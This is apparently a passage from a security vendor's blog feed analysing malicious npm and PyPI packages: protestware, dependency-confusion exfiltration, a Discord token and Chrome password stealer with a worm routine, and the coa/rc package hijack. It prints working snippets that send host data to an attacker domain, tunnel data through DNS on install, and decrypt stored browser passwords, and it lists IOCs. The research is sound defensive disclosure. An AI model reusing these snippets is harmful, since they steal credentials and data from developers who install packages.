            try {
                // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤`
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}

Packages “peacenotwar”, “oneday-test”

Creates a file called “WITH-LOVE-FROM-AMERICA.txt” on 3 locations on the victim of machine.

  • ~/Desktop/WITH-LOVE-FROM-AMERICA.txt
  • ~/OneDrive/WITH-LOVE-FROM-AMERICA.txt
  • ~/OneDrive/Desktop/WITH-LOVE-FROM-AMERICA.txt

The content of the file is a short statement written in 5 different languages – English, Russian, Arabic, Chinese, and Japanese:

Within the code, there’s a function that copies “WITH-LOVE-FROM-AMERICA.txt” as follows:

function deliverAPeacefulMessage(path,message){ 
    console.log(path); 
    try{ 
        fs.writeFile( 
            path,  
            message, 
            function(err){ 
                //its all good 
            } 
        ); 
    }catch(err){ 
        //thats ok 
    } 
}
const thinkaboutit='WITH-LOVE-FROM-AMERICA.txt';
const WITH_LOVE_FROM_AMERICA=read(`./${thinkaboutit}`);
const Desktops = `${homedir}/Desktop/`;
const OneDrive = `${homedir}/OneDrive/`;
const OneDriveDesktops = `${homedir}/OneDrive/Desktop/`;
deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA); 
deliverAPeacefulMessage(`${OneDriveDesktops}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA); 
deliverAPeacefulMessage(`${OneDrive}${thinkaboutit}`,WITH_LOVE_FROM_AMERICA);

IOCs

  • https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154

ChainAlert

ChainAlert is a free service by Checkmarx, which is a monitoring system that observes the open source ecosystem, and alerts package maintainers and developers of potential account takeover attacks.

In this specific case, ChainAlert bot has detected abnormal activity and notified about it with an issue on the GitHub repository. Obviously, since these actions were done deliberately by the “legitimate” owner of the project, the issue was closed by “RIAEvangelist” and was not dealt with any further.

Learning from this case, we plan to add a detection of such self-sabotage cases to ensure that incidents such as this will be picked up quickly.

Conclusion

This incident raises again the question whether it is within the rights of the code’s owner to change it in whichever way they see fit, even at the cost of causing damage to other users depend on it.

As seen in the near past, this isn’t the first time we encounter such behavior, it seems likely that other prominent developers will follow and share their agenda in a similar manner. It also looks fitting to start using the term “protestware” to describe this kind of software.

]]>
Webhook Party – Malicious packages caught exfiltrating data via legit webhook services https://checkmarx.com/blog/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services/ Mon, 07 Mar 2022 13:11:44 +0000 https://checkmarx.com/?p=74294 Intro

Checkmarx Supply Chain Security (SCS) team (previously Dustico) has found several malicious packages attempting to use a dependency confusion attack. Those packages were detected by the team’s malicious package detection system. Findings show all packages caught contained malicious payload which is using legitimate SaaS services for data exfiltration. This behavior is part of an alarming trend we are seeing in recent attacks.

Details

Let us start with the NPM packages ‘azureazure’ and ‘azure-sdk-v4’. Those two packages both include the description “azure whitehat package” but still collect sensitive system information and exfiltrate it to address “425a2.rt11[.]ml”. After some digging, we linked this address to the webhook service https://interactsh.com/ which provides a simple and free way to implement endpoints to these kinds of attacks.

User interface of the ‘interactsh’ service – this is how the collected data is displayed to the attacker

Looking more closely at the code, we encountered a few revealing comments that were enough to link the code in this package to a tutorial explaining dependency confusion attacks and providing code snippets that can be used while implementing this technique.

The code in the packages we found closely resembled the code snippets in the blogpost other than the fact that the uploader decides to add two more functionalities to it:

  • enumerate the files in a list of interesting paths [C:, D:, /, /home]
  • retrieving the external IP address
const td = {
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: JSON.stringify(dns.getServers()),
    ip: JSON.stringify(gethttpips()),
    dirs: JSON.stringify(getFiles(["C:","D:","/","/home"])),
}

const trackingData = JSON.stringify(td);
var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "425a2.rt11.ml",
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        //process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

Code Obfuscation

Other than the additional features, it seems like the person behind these packages is testing further concepts and so we found the next two NPM packages that were likely to come from them: ‘glints-sdk’ and ‘azure-sdk-v3’.

These two packages deliver a similar code to the victim only in an obfuscated form:

function _0x4c0e(_0x581274,_0x3d7a8e){var _0x5cda03=_0x5cda();return _0x4c0e=function(_0x4c0e46,_0x2452be){_0x4c0e46=_0x4c0e46-0xaa;var _0x4be5d6=_0x5cda03[_0x4c0e46];return _0x4be5d6;},_0x4c0e(_0x581274,_0x3d7a8e);}var _0x5b8a48=_0x4c0e;(function(_0x576bbf,_0x164c6d){var _0x3d4493=_0x4c0e,_0x418df7=_0x576bbf();while(!![]){try{var _0x171b11=-… 

As a part of the automatic malware detection system developed by Checkmarx SCS team, the packages are being dynamically analyzed in several sub-engines and in these cases, the results of the analysis for all four packages mentioned above included network communicates with the address (hxxps://425a2.rt11[.]ml). This implies that ‘glints-sdk’ and ‘azure-sdk-v3’ are made by the same attacker.

Cross Platform Attack

Around the same time, Checkmarx’s system has detected another package, this time it was published on PyPi. The user ‘azureazure’ (with the display name ‘Kareem’) published a Python package ‘azureazure’. Looking at the code, we found similar functionalities to its JavaScript counterpart, including gathering system information and exfiltrating it to the same address (hxxps://425a2.rt11[.]ml). in addition to these, the Python code also included data exfiltration through DNS tunneling.

class CustomInstall(install):
    def run(self):
        install.run(self)
        hostname=socket.gethostname()
        cwd = os.getcwd()
        username = getpass.getuser()
        try:
            dn = ""
            hn = hostname.encode().hex()
            un = username.encode().hex()
            pn = pname.encode().hex()
            ip = getIps()
            dn = hn+"."+pn+"."+un+".p"
            cs = cwd.split('/')
            for i in range(len(cs)):
                cs[i] = cs[i].encode().hex()
            path = ""
            for c in cs:
                if c != "" and c != None:
                    path = path+"."+c
            path = path.strip('.')
            dn = dn+"."+path+".p"
            dn = dn+"."+ip
            dn = dn+".425a2.rt11.ml"
            socket.gethostbyname(dn)
        except Exception as e:
            print("exception")
            print(e)
            pass
        ploads = {"msg":json.dumps({'hostname':hostname,'package':pname,'cwd':cwd,'username':username,"ipaddresses":json.dumps(gethttpips()),"dirs":json.dumps(getFiles(["c:","d:","/","/home"]))})}
        requests.post("https://425a2.rt11.ml",data = ploads)

We believe those packages are published by the same actor. We found more NPM packages all a contain similar malicious payload which exfiltrate host information to the free SaaS services ‘burpcollaborator.net’ and ‘pipedream.net’.

Webhook as a C&C server

The usage of these legitimate free services by all those malicious packages corresponds with an interesting trend we are witnessing – in which actor are utilizing “out of the box” solutions for the backend infrastructure of their attacks. Free SaaS services such as the examples listed below provide an effortless way to get up and running, with an endpoint ready to go in a matter of seconds, to which the exfiltrated data will be collected:

Aside from the ease of using these services, instead of building and deploying a dedicated server, this technique has one more important outcome. In case of a successful infection, network traffic to these services will not raise red flags to defenders for they are legitimate and can be used for legitimate purposes. The combination of TLS encrypted traffic with the usage of known and legitimate sites makes it even harder for defenders to identify sensitive information being exfiltrated from their networks.

Malicious Packages

Package name Versions Username Package Manager
jetpack-api 124.0.0 theokeen NPM
jetpack-connection 124.0.0 theokeen NPM
labrujha-cadas 124.0.0 theokeen NPM
jetpack-components 124.0.0 theokeen NPM
jetpack-config 124.0.0 119.0.0 110.0.0 109.0.0 105.0.0 104.0.0 102.0.0 100.0.0 99.0.0 theokeen NPM
grunt-jsdoc-to-markdow 999.1.1 xploitoverride NPM
other-item 999.1.1 xploitoverride NPM
react-instantsearch-hooks-dom 999.1.1 xploitoverride NPM
string_decoder-browserify 999.1.1 xploitoverride NPM
parcel-plugin-test 999.1.1 xploitoverride NPM
glints-sdk 99.10.11 babylon7 NPM
azure-sdk-v3   99.10.11 azuresdkv3 NPM
azureazure 99.10.11 azureazure NPM
azure-sdk-v4 99.10.11 azuresdkv4 NPM
azureazure 97.10.0 azureazure PyPi
azurefilter 99.10.11 azurefilter NPM
azure-filter-2 99.10.11 azure-filter NPM

While few packages did state a “whitehat” disclaimer, they still send data from the victim’s machine into the attacker’s endpoint. We reported all malicious packages to NPM and PyPi security teams, and most of the packages were rapidly removed from the registry.

IOCs

  • 425a2.rt11[.]ml
  • gxh1p4cmhshj6na8ds6zue6s6jcb00.burpcollaborator[.]net
  • hxxps://grabify[.]link/YXP9CJ
  • enjg65nwg4r8o28.m.pipedream[.]net

Conclusion

This is one of several types of malicious packages that the Checkmarx Supply Chain Security (SCS) team (previously Dustico) is discovering in the wild. We’ll continue to report on our findings here in this blog, so stay tuned.

]]>
Group-3-1-1-1024×602-1 Group-5-1024×607-1 meme-1024×988-1 NPM_mail-1
Recently Discovered Supply-chain Worm https://checkmarx.com/blog/recently-discovered-supply-chain-worm/ Thu, 09 Dec 2021 13:58:57 +0000 https://checkmarx.com/?p=72039 Malicious Python Packages with Self-spreading Capabilities Caught Stealing Browser Credentials, Discord Tokens, and System Information.

The malicious package is able to steal the user’s password from their Chrome browser, along with Discord tokens and system information, and exfiltrate this data via a Discord webhook. Beyond that, the malicious package also has the ability to automatically self-spread by sending itself as an attachment to the victim’s friends on the Discord platform.

Typosquatting attacks, which rely on errors like typos being inputted into  installation commands, are a common way to mislead developers to download the wrong package that can often include malicious functionalities.

This incident was discovered by Checkmarx’s CxDustico group. CxDustico was acquired earlier this year by Checkmarx and is focused on supply-chain security. The group’s Typosquatting attack detection engine has detected the “discrod” PyPi package, masquerading as “discord”, an API wrapper for the popular Discord massaging app. The same user also uploaded the “cszsafsa” package, which turned out to be malicious as well, and with an ability to self-spread and infect the victim’s Discord friends.

Checkmark has alerted PyPi’s security team, and the packages were removed from the package manager. According to PePy, these two packages were downloaded more than 4,000 times before they were removed.

Detailed Report

“discrod” package

 first released in June 2021, the “discrod” package had two functionalities:

  • Stealing Discord tokens
    • A discord token is a string stored in the browser or app local storage upon first login, and enables an automatic re-login. Hence, this string functions as an authorizing key that will enable anyone possessing it to gain extensive access to the relevant Discord account. As such, these are attractive targets to attackers.
    • “discrod” package code iterates over files these tokens might be stored in, and tries to retrieve them by using a simple regular expression matching the token pattern since they are stored as plain text with no encryption.
def tokengrab(ext):

    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')

    paths = {
        'Discord': roaming + 'Discord',
        'Discord Canary': roaming + 'discordcanary',
        'Discord PTB': roaming + 'discordptb',
        'Google Chrome': local + 'GoogleChromeUser DataDefault',
        'Opera': roaming + 'Opera SoftwareOpera Stable',
        'Brave': local + 'BraveSoftwareBrave-BrowserUser DataDefault',
        'Yandex': local + 'YandexYandexBrowserUser DataDefault'
}
  • Stealing password stored in the Chrome browser
    • Contrary to that, the Chrome browser does encrypt the passwords it holds before storing them on disk; therefore, the malicious package code first tries to retrieve the master encryption key.
    • Having done that, the attacker locates the “Login Data” database and queries it for all login details it stores. The attacker then iterates over the results and decrypts the passwords using the master encryption key.
def main2():

    key = get_encryption_key()

    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                           "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    db = sqlite3.connect(filename)
    cursor = db.cursor()

    cursor.execute(
        "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
        
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]

Tokens and passwords found by these processes are then sent to the attacker via Discord webhook.

Some clues in this package’s code indicate that this isn’t the last version the attacker intended to publish, and that there is still work to be done. For example, each time the attacker sends data through the Discord webhook, they do it twice, probably as a redundancy, with what should have been two different webhooks. The problem here is that the second variable that should contain the webhook’s address isn’t defined, which makes the code error out.

Even more interesting are the flags set at the beginning of the code, some unused, implying new features that have yet to be implemented, such as keylogging.

token_grabber = True
ip_grabber_f = True
key_logger = True

The next step we took was searching for other packages this user, 69.-_69,  may have uploaded to PyPi. When doing so, we stumbled upon “cszsafsa”, another malicious package uploaded on September 21, and it seems to be an upgraded version of “discrod”.

“cszsafsa” Package Details

Let’s start from the end. After looking at this package’s code, we realized it strikes a remarkable resemblance to another piece of software we have already seen before, the dTGPG (Discord Token Grabber Payload Generator).

According to the Pastebin page it is found in, dTGPG is a python script used to generate other code in numerous languages with the functionality of a Discord Token Grabber.

The “cszsafsa” package code is largely copied from the code on this Pastebin page. Looking back, it’s pretty clear that the attacker used snippets of this code in the “discrod” package as well.

The first thing we noticed is the fact that this upgraded version can also run on Linux OS, but other than that, there were some new functionaries in addition to the one we saw on the “discrod” package:

If the detected OS is Windows, the code will run two functions: mar() and main().

The mar() function is the same Chrome passwords stealer found on “discrod”, with minor adjustments. The main() function is an improved version of the Discord token grabber with the following additions:

  • Collects system information 
  • Collects Discord Profile information 
  • Exfiltrate tokens, Discord profile, and system information via Discord webhook 
  • A self-spreading mechanism – Sends the file itself to all the victim’s friends on Discord 

The attacker chooses to lure the victim’s friends to run the payload sent to them by claiming it is a DDOS tool and attached to it the python download page

“DDoS tool. python download: https://www.python.org/downloads

But that has no effect because the spreading functionality isn’t activated. The first instruction inside the “spread” function is “return”, which means that the rest of the function code will never be executed, and the infecting massage won’t be sent.

def spread(token, form_data, delay):
    return
    for friend in getFriends(token):
        try:
            chat_id = getChat(token, friend["id"])
            sendMessages(token, chat_id, form_data)
        except Exception as e:
            pass
        sleep(delay)

If the detected OS is Linux, the code will run the “stuff” function which is a Linux modified version with the same functionalities as the Windows main() function, minus the spreading mechanism, for example:

  • Collects system information 
  • Collects Discord Profile information 
  • Exfiltrate tokens, Discord profile, and system information via Discord webhook 

After describing all these features implemented in “discrod” and “cszsafsa”, it is also worth mentioning that the current versions of both packages are still somewhat of a work in progress. Both packages contain mistakes that might prevent them from working properly, such as variables used before their definition, or modules imports that are not included in the package’s requirements.

Conclusion

Supply chain attacks are on the rise. Attackers joining this wave continue to use the techniques that worked in the past such as typosquatting, this is how we discovered these two malicious packages, but they are also looking to expand their arsenal.

An infected open source package with self-spreading capabilities is one of these attempts. Worm functionalities aren’t new by themselves but incorporating then in a supply chain attack to try to infect other developers is a novel concept and we are likely to see more of these in the near future

We have alerted PyPi and these packages were removed from the package manager.

Malicious Packages & Versions

  • discrod
    • 6.9.2
    • 6.9.5
    • 7.1.0
  • cszsafsa
    • 0.0.2
    • 0.0.3
    • 0.0.4
    • 0.0.5
    • 0.0.9

IOC’s

  • hxxps://discord[.]com/api/webhooks/845637931749736498/ewOnnjXCvtX1bzTDPhFEe1fFZ4MFh7t-OydnQ3ob2MxQ_sMq2ZXXNIwA36OWBFjP3vbV
  • hxxps://discord[.]com/api/webhooks/886147895005442058/WKFVu_NhyE3MicZukAaLhaNufV0i4ztebB5K8y1egu4EyDqViyreY1nM6_3jIi2Sf_cw
  • hxxps://discord[.]com/api/webhooks/836482102253191199/OrQcEYYeR4C_QNPKTx2ZGaWfNKZlSD5lxnRkmgf4SE0ofKtXJkiVJfaIE9Jiy6vThSnG
  • hxxps://mehmetcanyildiz[.]com/wp-content/uploads/2020/11/black.png
  • un5t48l3[.]com

Final Words

To help combat the growing problem of similar attacks, Checkmarx will combine its Application Security Platform with Dustico’s behavioral analysis technology to give customers a unified view into the risk, reputation, and behavior of open source packages, resulting in a more comprehensive approach to preventing future supply chain attacks.

]]>
Picture2-2-1024×570-1
Attackers Write Bugs as Well! https://checkmarx.com/blog/attackers-write-bugs-as-well/ Fri, 05 Nov 2021 00:28:53 +0000 https://checkmarx.com/?p=70989 A new attempt to compromise a popular NPM package had occurred in the past few hours.

The popular COA (Command-Option-Argument) package is a parser for command line options with around 9 million weekly downloads, and a long list of dependent packages has been said to have “broke the internet” a few hours ago with an attempted attack that luckily went wrong.

The code involved in this incident bares striking resemblance to the code published a few days ago in the attack on UAParser.js

Apparently, attackers have placed a new preinstall script in the “scripts” section of the package’s package.json file:

"preinstall": "start /B node compile.js & node compile.js"

Their mistake was uploading this new package.json file before uploading the “compile.js” file, which prompted an error.

Due to the popularity of the package, this error was noticed quickly by developers and was reported on the package’s GitHub page. The GitHub repo also provided a suspicious sign—the code in the repo was last modified 3 years ago which means that the new code wasn’t committed to GitHub.

The incident is still being investigated, but at this point, it looks like the preinstall compile.js was obfuscated:

And can be de-obfuscated to code almost identical in structure to the one in the UAParser incident:

This script checks the victims OS, and in the case of a windows OS, it runs the also-obfuscated compile.bat file which was also uploaded as part of the compromised version:

This file can also be de-obfuscated into the following:

This action downloads what seems to be a different sdd.dll file from the UAparser.js incident and deploys it using regsvr32.exe. The URL from which the file is downloaded was changed, but under the same TLD (.at), and possibly the same IP address as some users have stated.

Interestingly, the crypto miner functionality observed in the UAPaser.js is not a part of this current attack which regain only what seems to be a variant of the credentials stealer from the previous incident.

Shortly after this incident, reports begun to surface regarding a similar one in another popular NPM package “rc”. This package deals with apps’ configuration files and has more than 14 million weekly downloads. There isn’t a lot of information regarding this incident as the infected packages were removed from NPM quickly, but it seems that this attack has similar characteristics to the one on the “coa” package.

There are some contradicting reports concerning these two attacks, and the final DLL files they drop. Nonetheless, all IOC’s mentioned below are to be considered as relating to malicious activity.

At this point, all compromised versions were removed from NPM. We will continue to update should new information come up.

Compromised versions.

  • coa:
    • 3.0.1
    • 2.1.1
    • 2.0.4
    • 3.1.3
    • 2.1.3
    • 2.0.3
  • rc
    • 1.2.9
    • 1.3.9
    • 2.3.9

IOC’s:

hxxps://pastorcryptograph[.]at/3/sdd.dll

26451f7f6fe297adf6738295b1dcc70f7678434ef21d8b6aad5ec00beb8a72cf

f53ef1ed12f9ba49831ea33100083c9a92bc8adc6620f8a3b36a2d9ae2eb8591

Advisories:

]]>
MicrosoftTeams-image-1024×353-1 MicrosoftTeams-image-3-1024×388-1 MicrosoftTeams-image-1-1024×672-1 MicrosoftTeams-image-2-1024×417-1